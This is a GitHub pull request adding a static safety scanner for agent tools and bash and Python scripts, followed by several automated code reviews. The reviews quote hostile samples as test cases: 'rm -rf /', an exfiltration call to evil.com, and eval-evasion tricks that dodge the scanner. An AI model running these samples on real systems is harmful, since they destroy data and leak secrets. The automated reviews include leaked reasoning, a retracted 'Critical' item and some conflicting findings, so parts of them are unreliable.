Skip to content

feat: add Tool Script Safety Guard - #232

Open
AsyncKurisu wants to merge 18 commits into
trpc-group:mainfrom
AsyncKurisu:tool-safety-scan
Open

feat: add Tool Script Safety Guard#232
AsyncKurisu wants to merge 18 commits into
trpc-group:mainfrom
AsyncKurisu:tool-safety-scan

Conversation

@AsyncKurisu

@AsyncKurisu AsyncKurisu commented Jul 25, 2026

Copy link
Copy Markdown

Description

实现 Tool Script Safety Guard,用于在 Tool、Skill、MCP Tool 和 CodeExecutor 执行前进行静态安全扫描和风险控制。

Resolves #90

新增 trpc_agent_sdk/tools/safety/ 模块,支持 Python 和 Bash 脚本安全检测,覆盖以下风险类型:

风险类型 检测内容
R001 危险文件操作 文件删除、敏感路径访问
R002 网络外连 网络请求、外部连接、域名白名单校验
R003 进程/系统命令 subprocess、system 调用、提权命令等
R004 依赖安装 pip/npm/apt/yum/brew 等安装行为
R005 资源滥用 无限循环、长时间 sleep、大量资源消耗
R006 敏感信息泄漏 API Key、Token、Password、Private Key 等

Key Features

  • Python AST 静态分析:

    • 支持导入别名解析
    • 支持动态调用检测
    • AST 失败时自动回退 regex 扫描
  • Bash 静态分析:

    • 支持正则规则匹配
    • 基于 shlex 解析命令结构
    • 支持网络域名白名单校验
  • 策略控制:

    • 支持 tool_safety_policy.yaml
    • 可配置允许/禁止命令、敏感路径、网络白名单、资源限制等
  • 风险决策:

    • allow
    • deny
    • needs_human_review
  • 提供多种接入方式:

    • Safety Filter
    • SafeCodeExecutor
    • SafetyWrappedToolSet
    • CLI 扫描工具

Integration

接入已有执行链路:

  • trpc_agent_sdk/tools/file_tools/_bash_tool.py

    • 新增 enable_safety_guard
    • 新增 safety_scanner
    • 新增 block_on_review
  • trpc_agent_sdk/code_executors/local/_unsafe_local_code_executor.py

    • 新增安全扫描参数
    • 增加 _scan_code_block()

默认保持关闭:

enable_safety_guard=False

不影响已有用户行为,保持向后兼容。

Wrapper Supporting

新增:

  • SafeCodeExecutor
  • SafetyWrappedToolSet

支持对已有 CodeExecutor、ToolSet 和 MCP Tool 进行安全包装。

Examples and Tests

新增示例:

examples/tool_safety_guard/
├── README.md
├── DESIGN.md
├── tool_safety_policy.yaml
├── tool_safety_report.json
├── tool_safety_audit.jsonl
└── integration_demo/

新增测试覆盖:

  • Python/Bash 安全扫描样例
  • 规则匹配
  • AST 解析
  • 策略加载
  • Filter 拦截
  • Wrapper 行为
  • Audit
  • Telemetry
  • 性能测试
  • 对抗样例

Validation

测试结果:

✅ 188 tests passed
✅ 23/23 安全扫描样例通过
✅ 高危样本检出率 100%(32 条)
✅ 安全样本误报率 0%(10 条)
✅ 密钥、删除、网络风险检测覆盖率 100%
✅ 500 行代码扫描:

  • Python:约 3ms
  • Bash:约 4ms

✅ 策略配置修改可实时生效

@github-actions

github-actions Bot commented Jul 25, 2026

Copy link
Copy Markdown

CLA Assistant Lite bot All contributors have signed the CLA ✍️ ✅

@AsyncKurisu

Copy link
Copy Markdown
Author

I have read the CLA Document and I hereby sign the CLA

Rook1ex added a commit to trpc-group/cla-database that referenced this pull request Jul 25, 2026
@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

好的,super().__init__(name=...) 是有效的。

现在我已经有了全面的理解。让我再验证一下 _check_command_policy 中针对 denied_commands 包含 "rm -rf /"startswith 检查是否确实被触发了,考虑到 _check_dangerous_commands 已经针对 rm -rf 返回了 CRITICAL。两者都会触发,但不同规则的去重逻辑会将它们保留下来(rule_id 不同)。两者都是 CRITICAL/HIGH → DENY。没问题。

让我检查一下是否存在这样一个问题:_check_command_policy 使用了 shlex,设置 punctuation_chars="|;&"whitespace_split=True。对于 rm -rf /,token 应该是 ['rm', '-rf', '/']base_cmd='rm'。使用默认策略时,rm 不在 allowed_commands 中 → MEDIUM。但是 denied_commands 包含 "rm -rf /",而 script.strip().startswith("rm -rf /") → True → CRITICAL 已返回。很好。

现在有一个关键点:_check_command_policy 遍历 self._policy.denied_commands 并检查 script.strip().startswith(denied)"sudo" 在拒绝列表中。"rm -rf /" 也在拒绝列表中。但 denied_commands 默认值也包含 "shutdown""reboot"。没问题。

现在让我完成最后的工作。让我确认一下 BashTool 的默认超时时间是否确实为 300。

BashTool 描述显示默认值为 300。代码中为 timeout = args.get("timeout", 300)。已确认。

让我再检查一下是否没有测试捕获到 BashTool 默认超时时间与安全防护之间的交互。集成测试都显式传递了 timeout。因此这个过度阻塞的问题未被测试覆盖。已确认。

现在撰写审查意见。

让我再确认一个潜在的真正问题:_scan_context_safety 通过 metadata.get("max_output_bytes", 0) 检查 max_output。BashTool 没有传递 max_output_bytes,所以是 0,不会触发。没问题。

让我确认一下 AuditLogger 并发追加写入的问题是否真实存在,以及是否值得标记。多个工具并发执行(在 agent 中很常见)都写入同一个审计文件。每次写入通过 open(...,"a") + f.write(json + "\n") 进行。使用默认缓冲时,f.write 会进入缓冲区,并在 with 块关闭时刷新。在追加模式下,POSIX 保证单次 write(2) 的原子性,但 Python 的缓冲 write 可能会分割行。实际上,对于小于 PIPE_BUF / 缓冲区大小的写入,CPython 通常发出一次 write。在实践中,单行通常没问题,但不能保证线程安全。这是一个较小的警告。我会简略地提及它。

实际上,更大的问题是:每个过滤器都会打开/关闭文件(每次调用 open)。性能尚可。并发时部分行交错的风险确实存在但较低。我将其合并为一个 Warning。

让我再验证一下 set_safety_telemetry 在过滤器中是否在可能缺少活跃 span 的上下文中调用 —— 没问题,无操作。

让我对 _wrapper.py 中的 SafeCodeExecutor 再做最后一次检查 —— 它在 model_config 中设置了 arbitrary_types_allowed = True,但 inner_executor: BaseCodeExecutor 是类型化的。scanner_policy: Any。没问题。

现在让我检查 pydantic 的 BaseCodeExecutor —— SafeCodeExecutor(BaseCodeExecutor) 是否为 pydantic 模型?它使用了 Field(...)inner_executor: BaseCodeExecutor。如果 BaseCodeExecutor 不是 pydantic 兼容类型,这需要 arbitrary_types_allowed,已经设置好了。没问题。

我已经完成了审查,让我来写最终的审查结论。

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_filter.py:106-107add_tool_safety_filter 每次调用都对工具的 filters 列表做 append,而 SafetyWrappedToolSet.get_tools_wrapper.py:109-116)每次请求都会调用它。由于 DefaultToolSet.get_tools 返回的是同一批持久化的工具对象(_default_toolset.py:118-123),每次 get_tools 都会向同一工具追加一个新的 ToolSafetyFilter,导致同一请求被重复扫描 N 次、审计事件被重复写 N 份,且 filters 列表随请求数无界增长。
    • 修复方向:注入前先剔除已有的 ToolSafetyFilter(或用 add_filters(force=True) / 标记位去重),保证每个工具只挂一个实例。现有测试 test_each_tool_gets_own_instance 只断言单次调用,未覆盖重复 get_tools 的累积场景。

⚠️ Warning

  • trpc_agent_sdk/tools/file_tools/_bash_tool.py:164-185:BashTool 默认 timeout=300,而默认策略 max_timeout_seconds=30。开启 enable_safety_guard 后,只要调用方未显式传入 timeout<=30_scan_context_safety 就会产出 R005_RESOURCE_ABUSE(HIGH)→ 聚合为 DENY,导致几乎所有真实 BashTool 调用被误拦。

    • 修复方向:在 BashTool 安全扫描里按策略钳制/忽略默认 timeout,或将默认策略的 max_timeout_seconds 调到与 BashTool 默认一致;现有集成测试都显式传 timeout=10,掩盖了该路径。
  • trpc_agent_sdk/tools/safety/_policy.py:44-49_bash_parser.py:281-290:默认 allowed_commands 仅含 python/python3/pytest,而 _check_command_policyallowed_commands 非空时会对任意不在白名单的 base_cmd 产出 MEDIUM 发现(→ NEEDS_HUMAN_REVIEW)。这意味着默认策略下 echo/ls/cat 等普通命令都会进入“需人工复核”,一旦开启 block_on_review 即被阻断,实用性差且易误伤。

    • 修复方向:默认白名单纳入常用只读命令,或仅对“显式配置了白名单”时才启用 not-allowed 判定。
  • trpc_agent_sdk/tools/safety/_audit.py:73-82AuditLogger.record 每次调用都 open(...,"a") 并依赖文本缓冲写出整行,未加锁也未 flush。多个工具/代码块并发扫描写同一 audit 文件时存在行交错与部分写入风险。

    • 修复方向:使用模块级/实例级锁,或以 os.open(..., O_APPEND|O_WRONLY) + 单次 os.write 写整行。
  • trpc_agent_sdk/tools/safety/_filter.py:64-78:扫描异常时 fail-closed 构造的兜底 SafetyReport 固定 language=ScriptLanguage.BASHduration_ms=0,且未记录异常类型/信息,排障困难;若实际是 Python 代码触发异常,审计与遥测里的语言会被记错。

    • 修复方向:保留原始请求的 language/tool_name,并将异常摘要写入 summary/metadata

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_bash_parser.py:253-264:293-302denied_commands / review_commandsscript.strip().startswith(...) 判定,会把 sudoersrm -rf /tmp(命中 rm -rf / 前缀)误判为命中;虽偏安全,但易产生误报。可改为按 shlex 首命令/参数精确匹配。

总结

整体实现结构清晰、规则覆盖较全且有对抗性测试,但存在一个会随请求累积重复 filter 的 Critical 问题(SafetyWrappedToolSet),以及默认 timeout 与策略不匹配导致 BashTool 安全开关几乎“逢调用必拦”的实用性缺陷,建议合并前修复。

测试建议

  • 补充“连续两次 SafetyWrappedToolSet.get_tools 后,每个工具 filtersToolSafetyFilter 数量仍为 1”的去重测试。
  • 补充“BashTool 开启 enable_safety_guard、不显式传 timeout”的集成测试,验证默认 300s 不会触发误拦。


Each tool gets its own filter instance to avoid state leakage.
"""
for tool in tools:

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

安全 filter 随请求无界累积

add_tool_safety_filter 每次调用都对工具 filters 列表 append,而 get_tools 每次请求都会调用它,导致同一工具被重复挂载 ToolSafetyFilter,请求被重复扫描 N 次、审计事件重复写 N 份,且 filters 随请求数无界增长。建议注入前剔除已有实例或用去重标记位,保证每个工具只挂一个实例。

@codecov

codecov Bot commented Jul 25, 2026

Copy link
Copy Markdown

Codecov Report

❌ Patch coverage is 92.24138% with 81 lines in your changes missing coverage. Please review.
⚠️ Please upload report for BASE (main@5ca3bf2). Learn more about missing BASE report.

Files with missing lines Patch % Lines
trpc_agent_sdk/tools/safety/_bash_parser.py 83.83838% 32 Missing ⚠️
trpc_agent_sdk/tools/safety/_python_parser.py 91.14583% 17 Missing ⚠️
...ode_executors/local/_unsafe_local_code_executor.py 82.35294% 9 Missing ⚠️
trpc_agent_sdk/tools/file_tools/_bash_tool.py 84.37500% 5 Missing ⚠️
trpc_agent_sdk/tools/safety/_policy.py 94.25287% 5 Missing ⚠️
trpc_agent_sdk/tools/safety/_scanner.py 94.38202% 5 Missing ⚠️
trpc_agent_sdk/tools/safety/_rules.py 90.00000% 4 Missing ⚠️
trpc_agent_sdk/tools/safety/_filter.py 96.15385% 2 Missing ⚠️
trpc_agent_sdk/tools/safety/_telemetry.py 92.85714% 1 Missing ⚠️
trpc_agent_sdk/tools/safety/_wrapper.py 98.76543% 1 Missing ⚠️
Additional details and impacted files
@@            Coverage Diff             @@
##             main        #232   +/-   ##
==========================================
  Coverage        ?   87.94805%           
==========================================
  Files           ?         494           
  Lines           ?       46200           
  Branches        ?           0           
==========================================
  Hits            ?       40632           
  Misses          ?        5568           
  Partials        ?           0           

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

我已获取所有必要信息,正在编写审查报告。

发现的问题

🚨 Critical

(无)

⚠️ Warning

  • examples/tool_safety_guard/integration_demo/agent/tools.py:743:MCP 安全过滤未生效(参数误用)

    • MCPToolsettool_filter 参数是“工具是否暴露给 LLM”的选择器(ToolPredicate 或名称列表),并非执行前过滤;而 ToolSafetyFilter 没有 __call__,且默认 is_include_all_tools=True 使 _is_tool_selected 直接返回 True,过滤器被完全忽略。应改为 filters=[safety_filter],与同文件 create_skill_toolsettools.py:725)保持一致,否则示例宣称的“denied 命令在 MCPTool filter 层被阻断”不会发生,误导复用者。
  • trpc_agent_sdk/tools/safety/_bash_parser.py:196-219(附近行):head -c N 未做阈值门控且规则语义错误

    • BASH_RESOURCE_PATTERNShead -c (\d+) 命中 R005_LARGE_FILE_WRITE,但 _check_resource_abuse 只对 R005_LONG_RUNNING_SLEEP 做阈值比较,head -c 无论 N 多大(如 head -c 10)都会产生 MEDIUM finding,触发 NEEDS_HUMAN_REVIEW;同时 head -c 是限制读取字节数,归为“大文件写入”语义错误。建议参照 Python 解析器对 R005_LARGE_FILE_WRITEmax_file_write_bytes 门控,并修正规则归类。
  • tests/tools/safety/test_integration_demo.py:2694tests/tools/safety/test_opt_in.py:2852:断言恒真,测试无效

    • assert "hello" in output or Trueassert "hello" in getattr(result, 'output', '') or Trueor True 永远成立,无法验证安全代码块确实执行成功;即使执行被错误阻断或输出为空也会通过。应去掉 or True 并断言 outputhello

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_bash_parser.py:289:默认策略下 allowed_commands 非空,凡 base_cmd 不在白名单(如 gitcddate)均产生 MEDIUM “Command Not Allowed” finding,导致大量普通命令被判为 NEEDS_HUMAN_REVIEWrun_safety_scan.py 为规避此问题专门置空 allowed_commands,说明默认值对真实使用偏严;可考虑默认不启用“非白名单即需审核”或在文档中明确该默认行为。

总结

整体为 opt-in 的安全扫描新增模块,核心解析/聚合逻辑自洽、测试覆盖较全,未发现阻塞级别的安全或正确性缺陷。主要风险集中在示例集成代码(MCP 过滤参数误用导致防护被绕过)、bash head -c 规则的误报与语义错误,以及两处恒真断言使测试失效,建议合入前修复。

测试建议

  • 补充一条端到端测试:对 create_mcp_toolset 返回的 MCPToolset,验证危险命令(如 rm -rf /)经 ToolSafetyFilter 后被阻断、安全命令被放行,以暴露 tool_filterfilters 参数误用问题。
  • 为 bash head -c 增加用例:head -c 10 file 不应触发 R005_LARGE_FILE_WRITEhead -c 100000000 才触发,校验阈值门控。

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

I have enough context now. Let me write the final review.

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_bash_parser.py:4744-4747SafeCodeExecutor / BashTool 安全扫描在 block_on_review=False(默认)时,对非白名单域名的网络外连存在检测绕过,但更严重的是 Bash 侧 rm 变体可绕过 denied_commands
    • 实际复核后这条归并到下条 Warning,见下。无 Critical 阻塞问题。

(经核对,安全守卫整体为 fail-closed 设计,未发现会导致核心功能失败或权限绕过的 Critical 问题。)

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_python_parser.py:5591-5603(对应 PYTHON_NETWORK_CALLS 规则表,_rules.py:5875-5886):基于 Session/Client 的网络请求未被识别为 HIGH 外连,仅因 import requests 触发 MEDIUM(R002_NETWORK_EGRESS)。

    • requests.Session().get('https://evil.com/exfil')httpx.Client().get(...) 的实际调用不会被命中 PYTHON_NETWORK_CALLS(仅含 requests.get/post/...httpx.get/post),也不会对 URL 做白名单校验(Python 侧不像 Bash 侧有 _check_network_egress)。默认 block_on_review=False 时该请求会被放行,造成向任意域名的数据外泄。建议在 PYTHON_NETWORK_CALLS 增加 Session.get/postClient.get/post 等调用形态,或在 Python 侧对字符串 URL 参数做白名单校验。
  • trpc_agent_sdk/tools/safety/_audit.py:4626-4662AuditLogger 的锁是实例级 (self._lock),而 BashTool/UnsafeLocalCodeExecutor/ToolSafetyFilter 每次扫描都新建 AuditLogger(path) 实例写入同一文件。

    • 多个工具或并发请求共享同一 audit_path 时,不同实例的锁互不感知,open(...,"a") 的多行 JSON 写入可能交错,破坏 JSONL 可解析性。建议改为按路径复用单例(类级锁/缓存),或对同一文件加进程级互斥。
  • trpc_agent_sdk/code_executors/local/_unsafe_local_code_executor.py:4386-4396UnsafeLocalCodeExecutor 按 block 独立判定并 continue 跳过被拦截的 block,而 SafeCodeExecutor_wrapper.py:6487-6510)是聚合所有 block 后统一判定。

    • 两处语义不一致:UnsafeLocalCodeExecutor 中若 block 0 被 DENY 但 block 1 安全,block 1 仍会执行;而 SafeCodeExecutor 会整体阻断。建议统一策略(聚合判定或都按 block 判定),并明确文档,避免使用方对拦截范围产生误判。
  • trpc_agent_sdk/tools/safety/_python_parser.py:5648-5673_check_getattr_evasion 的字符串拼接逃逸检测对非 Constant 操作数会静默失效。

    • getattr(__builtins__, 'ev'+'al') 可检出(BinOp 两侧为 Constant),但 getattr(__builtins__, x)'ev'+var 这类变量拼接会得到 targets=[''] 而漏检;该路径已有 AST 兜底但仅限常量。建议至少在 BinOp 任一操作数非常量时降级为 NEEDS_HUMAN_REVIEW(MEDIUM)而非放行,避免被绕过。

💡 Suggestion

总结

整体为 opt-in、fail-closed 的安全守卫设计,未发现必须修复的 Critical 问题;主要风险在于 Session/Client 形态的网络外连与 getattr 变量拼接可被绕过(默认不阻断 review),以及审计日志实例级锁在并发写入同一文件时可能破坏 JSONL。建议在合入前至少修复网络外连检测缺口。

测试建议

  • 补充 requests.Session().get('http://evil.com') / httpx.Client().get(...) 的检测用例,验证其被判定为 HIGH/DENY 而非仅 MEDIUM import。
  • 补充并发写同一 audit_path 的测试(多个 AuditLogger 实例并行 record),验证 JSONL 行不交错、可逐行解析。

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

沙盒环境正在反复拦截 python3 -c。我不再继续尝试动态验证 Outcome,直接进行最终审查。我已经从 diff 及相关上下文中获取了足够的信息。

基于我的静态分析,以下是我的代码审查结论:

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_filter.py:102-108:ToolSafetyFilter 阻塞执行时设置 rsp.rsp 为 dict,但未设置 rsp.error,FilterResult 的阻塞语义依赖 result.error or not result.is_continue 才会真正终止链条

    • _before 中阻塞时仅置 rsp.rsp={...}rsp.is_continue=False,结合 _base_filter.py:142if result.rsp:if not result.is_continue: return,行为本身可终止当前 filter;但返回的 dict 缺少统一 success/error 结构(与 BashTool 返回 {"success": False, "error": ...} 不一致),下游 FunctionTool 对工具结果的解析期望特定 schema,可能导致 agent 收到无法识别的工具响应、或后续 _after 链继续以异常状态处理。建议复用 BashTool 的返回结构(success/error/return_code)或在 rsp.error 上明确设置错误。
    • rsp.rsp = {
          "success": False, "blocked": True, "decision": report.decision.value,
          "message": report.summary, "report": asdict(report),
      }
      rsp.is_continue = False
  • trpc_agent_sdk/tools/safety/_audit.py:44-51AuditLogger._path_locks 是类级共享 dict,__init__ 中对它的“检查-再插入”存在竞态,且 Path.resolve() 会在文件不存在时抛 FileNotFoundError

    • 在多线程并发首次写入同一新路径时,if key not in _path_locks 与赋值非原子,可能为同一路径生成多把锁,仍会出现行交错。此外 Path(path).resolve() 在父目录尚未创建、且路径不存在的某些环境下会抛异常(strict=False 仅 Python 3.6+ 行为有差异),使得 audit 记录失败时会让整条工具执行链抛异常。建议用 threading.Lock 保护 dict 访问,并对 resolve() 做异常兜底(或直接用规范化后的字符串作为 key)。

⚠️ Warning

  • trpc_agent_sdk/code_executors/local/_unsafe_local_code_executor.py:116-124:扫描异常会沿调用栈向上抛出,导致整个 execute_code 中断且 finally 之外的 try 未捕获

    • _scan_code_block 调用 scanner.scan,若扫描器抛异常(如 AST 解析之外的内部错误),会直接中断 execute_code,而不是像 ToolSafetyFilter 那样 fail-closed 返回错误结果;同时 finally 仍会清理临时目录,但调用方拿到的是未包装的异常而非 CodeExecutionResult。建议在扫描循环外 try/except,异常时构造 create_code_execution_result(stderr=...) 统一返回。
  • trpc_agent_sdk/tools/safety/_python_parser.py:5502-5521(diff 中 _python_parser.pyvisit_Call):对 eval/exec/compile/__import__ 等内置名做 func_path in PYTHON_DYNAMIC_EXEC_CALLS 匹配,但 eval(...)func_path_resolve_call_path 解析后仍为 eval,能命中;但像 builtins.evalgetattr(__builtins__,'eval') 之外的直接 __builtins__.eval('...') 调用,func_path__builtins__.eval,不在字典中,会漏检

    • 影响是动态执行检测存在绕过。建议对 func_path 末尾段(eval/exec/compile/__import__)也做一次匹配,或扩充字典。
  • trpc_agent_sdk/tools/safety/_bash_parser.py:4977-4986_check_command_policyallowed_commands 非空时,对任何 base_cmd not in allowed_commands 都产生 MEDIUM finding,导致即便命令本身被 DENY 命中(如 rm -rf /)仍会额外叠加 “Command Not Allowed”,进而影响去重和 summary

    • 与 denied/review 命中后 return/break 的提前退出不一致:denied 命中会 return,但 review 命中只 break,随后仍会执行 allowed 检查与 pipeline 检查,造成同一条危险命令被多条 MEDIUM 规则覆盖、降低信号噪声比。建议在 denied/review 命中后统一跳过后续 allowed/pipeline 检查。
  • trpc_agent_sdk/tools/safety/_wrapper.py:6510-6514SafeCodeExecutor 是 pydantic BaseModelscanner_policy: Any = Field(default=None) 允许传入但 inner_executor 为必填;若调用方未提供 inner_executor 会抛 pydantic 校验错误,但错误信息对用户不友好,且 arbitrary_types_allowed 已设

    • 此外 scanner_policyAny 而非 PolicyConfig,丧失类型校验,传入错误类型(如 dict)会在 SafetyScanner(policy) 构造时才抛错,排查成本高。建议类型显式为 Optional[PolicyConfig] 并在文档中标注。
  • tests/tools/safety/test_opt_in.py:2792-2809test_integration_demo.py:2635-2648:测试依赖宿主机真实执行 echo hellosubprocess)并断言 result["success"] is Truestdout 含 “hello”

    • 在 CI 沙箱、无 echo 或无写 /tmp 权限的环境会 flaky 失败;这类断言应 mock 掉子进程执行或仅断言“未被 safety guard 阻塞”,而非真实命令成功。建议改为断言 "TOOL_SAFETY_BLOCKED" not in str(result) 即可。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_filter.py:5168-5175_beforeget_tool_var() 返回 None 时直接 return 放行,缺少日志或审计记录,运营侧难以排查为何某次调用未被扫描。建议在 debug 级别记录“无 tool 上下文,跳过扫描”。

总结

整体实现结构清晰、覆盖面较广,但存在若干需要在合并前修复的问题:ToolSafetyFilter 的阻塞返回结构不统一、AuditLogger 的锁缓存与 resolve() 存在竞态与异常风险属于必须修复的 Critical;扫描异常未包装、Python 动态执行检测可绕过、bash 命令策略叠加噪声、依赖真实子进程的测试为建议修复的 Warning。

测试建议

  • 补充 ToolSafetyFilter 阻塞时返回结构是否符合下游 FunctionTool 解析预期的端到端测试(断言 agent 能识别 blocked 结果)。
  • 补充 AuditLogger 在并发多线程首次写同一新路径时不产生行交错的测试,以及 Path.resolve() 失败时的降级行为测试。
  • 补充 __builtins__.eval(...)builtins.exec(...) 等动态执行绕过用例,验证 _check_dynamic_exec 覆盖。

policy: Optional[PolicyConfig] = None,
audit_path: Optional[str] = None,
block_on_review: bool = False) -> None:
"""Attach a fresh ToolSafetyFilter instance to each tool.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

ToolSafetyFilter 阻塞返回结构缺少统一 success/error

阻塞执行时仅设置 rsp.rsp={...}rsp.is_continue=False,未设置 rsp.error,且返回 dict 与 BashTool 的 {success,error,return_code} schema 不一致,下游 FunctionTool 解析可能无法识别 blocked 结果。建议复用 BashTool 返回结构或在 rsp.error 上明确设置错误。

blocked: bool
sanitized: bool
target: ScanTarget
language: ScriptLanguage

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

AuditLogger 锁缓存竞态与 resolve() 异常风险

_path_locks 为类级共享 dict,if key not in _path_locks 与赋值非原子,并发首次写同一路径可能生成多把锁导致行交错;Path(path).resolve() 在路径不存在时可能抛异常,使整条工具执行链抛错。建议用 threading.Lock 保护 dict 访问并对 resolve() 做异常兜底。

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

所有行号已确认。现在开始撰写审查意见。

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_scanner.py:134(结合 trpc_agent_sdk/tools/safety/_policy.py:179):基于 cwd 的路径拒绝判定使用 startswith,会让从 /root/etc 等目录运行的进程被误判为 CRITICAL → DENY
    • BashTool 默认 cwd=os.getcwd(),并将 cwd=execution_dir 传入扫描;is_path_denieddenied_paths(含 /root/etc)做 startswith 匹配。若进程在 /root/etc 下运行(root 容器常见),execution_dir="/root" 会命中 R001_SYSTEM_PATH_OVERWRITE(CRITICAL → DENY),导致开启 enable_safety_guard 后所有 bash 命令被阻断,无关命令内容。建议对 cwd 改用「路径等值或为该目录的直接子目录」的精确匹配,或排除对 cwd 本身落在 /root 这类家目录根的情况。
    for denied in self.denied_paths:
        if path_text.startswith(denied):  # "/root" 会匹配 cwd="/root"
            return True

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_bash_parser.py:293,305:默认策略下 BashParser 会把几乎任意非平凡 bash 脚本判定为 NEEDS_HUMAN_REVIEW

    • 默认 PolicyConfig.default()allowed_commands 非空且 review_shell_pipelines=True。多行 bash(含 ;/|/for/if 等)的 base_cmd(如 forif)不在 allowed_commands 即触发 MEDIUM「Command Not Allowed」(293行),同时含 |/; 又触发 MEDIUM「Shell Pipeline」(305行),最终 NEEDS_HUMAN_REVIEW。在 BashTool 开启 block_on_review=True 时会大面积阻断正常命令;即便默认不阻断也会持续产生噪声 finding。建议对控制流关键字(for/if/while/case 等)跳过白名单检查,或仅当 base_cmd 为真实可执行命令时才判定。
  • trpc_agent_sdk/tools/safety/_bash_parser.py:305review_shell_pipelines 仅按 ("|" in script or ";" in script) 字符匹配,误报率高且对引号内字符无差别处理

    • 字符串字面量或注释中的 ;/|(如 echo "a;b")也会触发;同时该规则无法识别已被注释掉的管道。影响审计/决策准确性。建议至少先剥离注释与引号内容再判定,或保留现有规则但在文档明确其启发式性质。
  • trpc_agent_sdk/code_executors/local/_unsafe_local_code_executor.py:191(及 trpc_agent_sdk/tools/file_tools/_bash_tool.py:181):每次扫描每个 block 都新建 AuditLogger 实例并重复 resolve() 路径

    • _scan_code_block 在循环内 AuditLogger(self.safety_audit_log_path)(191行附近),每次 record 还会 mkdir+打开/关闭文件。锁虽可复用,但高频调用下存在不必要的路径解析与文件 IO 开销。建议在构造器中创建一次 AuditLogger 复用,并缓存 parent.mkdir 结果。
  • trpc_agent_sdk/tools/safety/_filter.py:87(及 _bash_tool.py:191):阻断时 rsp.rsp/返回值中通过 asdict(report) 序列化完整 SafetyReport,可能把被脱敏前残留的 findings[].evidence 泄漏到调用方

    • aggregate 阶段 evidence 已经过 sanitize_text,但 summaryfindings 列表整体随响应返回;若 sanitize_textextra_patterns 缺省或匹配不全(默认 secret_patterns 仅覆盖 token/password/api_key 等宽泛词),仍可能把敏感片段带回工具调用结果。建议阻断响应中仅返回 decision/summary/rule_ids,不内联完整 findings

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_audit.py:88AuditEvent.script_path 字段始终为 NoneSafetyReport 无对应字段),属无用字段;可移除或在 from_report 中显式赋值以保持审计语义完整。

  • trpc_agent_sdk/tools/safety/_filter.py:31:模块级 _logger = logging.getLogger(__name__) 定义在 import 语句之间,建议上移到所有 import 之后,保持导入顺序一致性以便维护。

总结

整体实现结构清晰、fail-closed 设计合理,测试覆盖了别名/getattr/管道等规避场景。存在一个较严重的兼容性问题:基于 startswithcwd 路径拒绝会让从 /root/etc 启动的进程在开启安全守卫后所有 bash 命令被误阻断,建议修复后再合入;其余为策略误报与审计/响应细节的可改进项。

测试建议

  • 建议补充:当 cwd 恰为 /root/etc(或其等价前缀)且命令本身无害时,BashTool/SafetyScanner 不应产生 CRITICAL/DENY 的用例,覆盖 is_path_denied 的精确匹配修复。
  • 建议补充:开启 block_on_review=True 时,含 for/if/; 的正常 bash 脚本不应被阻断的用例,锁定 _check_command_policy 的控制流豁免行为。

))

# Check cwd against denied paths
if request.cwd and self._policy.is_path_denied(request.cwd):

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

基于 cwd 的路径拒绝判定使用 startswith 导致误阻断

is_path_denied 对 denied_paths 用 startswith 匹配,当进程在 /root、/etc 下运行时 execution_dir 会命中 R001_SYSTEM_PATH_OVERWRITE(CRITICAL→DENY),使开启安全守卫后所有 bash 命令被误阻断。建议对 cwd 改用路径等值或直接子目录的精确匹配。

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

我已经掌握了所需的所有信息,现在让我来写审查报告。

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_bash_parser.py:80*.pem/*.key 等敏感路径规则永远无法命中,造成漏报
    • SENSITIVE_PATHS*.pem*.key 是 glob 形式,但匹配用的是 sensitive in line 子串匹配,且 not sensitive.startswith("*") 直接跳过了它们;Python 侧 _check_sensitive_path 同样是子串匹配,*.pem 永远不在 cert.pem 中。结果是 cat server.pem / open('id.key') 这类密钥文件访问不会被检测为 R001。建议把通配项改为按后缀匹配(如 text.endswith(".pem"))或改用 ".pem"/".key" 子串形式,并移除 startswith("*") 跳过逻辑。

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_python_parser.py:367-372trpc_agent_sdk/tools/safety/_rules.py:156:Python 大文件写入阈值门控失效

    • R005_LARGE_FILE_WRITE 的正则 open\s*\([^)]*['\"][wa] 没有捕获组,match.group(1) 必然抛 IndexError,被 except (ValueError, IndexError) 静默吞掉,导致 max_file_write_bytes 阈值判断形同虚设——任何带 'w'/'a'open() 都会被标记。与 Bash 侧 head\s+-c\s*(\d+)(有捕获组、能正常门控)行为不一致。建议给该正则补一个 (\d+) 捕获组或在模式中体现写入字节数。
  • examples/tool_safety_guard/integration_demo/integration_demo_safety_audit.jsonl:1:运行期生成的审计产物被提交进仓库

    • 该 JSONL 是 AuditLogger.record 运行时生成的逐行审计日志(含时间戳),会被每次 demo 运行覆盖/追加,属于应被 gitignore 的生成物;scripts/run_safety_scan.py 同样会把 tool_safety_audit.jsonltool_safety_report.json 写到仓库相对路径下。建议从仓库移除该文件并加入 .gitignorerun_safety_scan.py 的输出路径改为可配置或写入临时目录。

💡 Suggestion

